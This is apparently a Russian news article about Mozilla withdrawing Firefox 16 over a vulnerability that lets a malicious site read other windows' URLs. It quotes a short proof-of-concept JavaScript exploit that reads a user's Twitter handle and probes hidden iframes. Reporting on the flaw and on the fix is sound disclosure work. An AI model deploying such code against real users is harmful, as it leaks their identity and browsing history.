Вчера вечером Mozilla временно убрала с официального сайта свежевышедший дистрибутив Firefox 16 из-за обнаруженной критической уязвимости. Разработчики сейчас активно работают над устранением бага и обещают сегодня в течение дня выпустить обновлённую версию. Вероятно, номер версии будет 16.0.1 или 16.1.

Версия Firefox 15 не подвержена уязвимости, так что пользователям Firefox, которые не успели обновиться, не о чем волноваться. Те же, кто успел установить свежую версию, попали в неприятную ситуацию. Теперь им придётся либо устанавливать обратно предыдущий релиз, то есть делать даунгрейд, либо временно перейти на другой браузер, либо работать в уязвимой системе на свой страх и риск.

Если кому интересно, информацию об уязвимости опубликовал вчера хакер Гарет Хейс (Gareth Heyes), он выложил подробное описание уязвимости вместе с работающим эксплойтом.

Ошибка в браузере связана с некорректным преобразованием в строковый тип. Например, после преобразования такой строки значение undefined в скрипте вернёт true.

/undefined/.test(undefined)//true

Соответственно, можно делать разные вещи вроде скрытых фреймов:

/businessinfo\.co\.uk/.test(document.getElementById(‘x’).contentWindow.location)

Уязвимость позволяет вредоносному сайту получить от браузера список веб-страниц, которые раньше посещал пользователь. Сайт имеет доступ к URL и параметрам URL в браузере, то есть злоумышленник может совершать и другие несанкционированные действия как бы из браузера пользователя. Например, если у него в другой вкладке открыт Twitter или Facebook, можно посмотреть имя пользователя.

Prrof-of-Concept

Код для проверки имени пользователя Twitter:

function poc() {
var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
}, 5000);
}

Mozilla рекомендует пользователям Firefox 16 временно установить обратно Firefox 15.0.1, пока они не устранят уязвимость.



Оставить мнение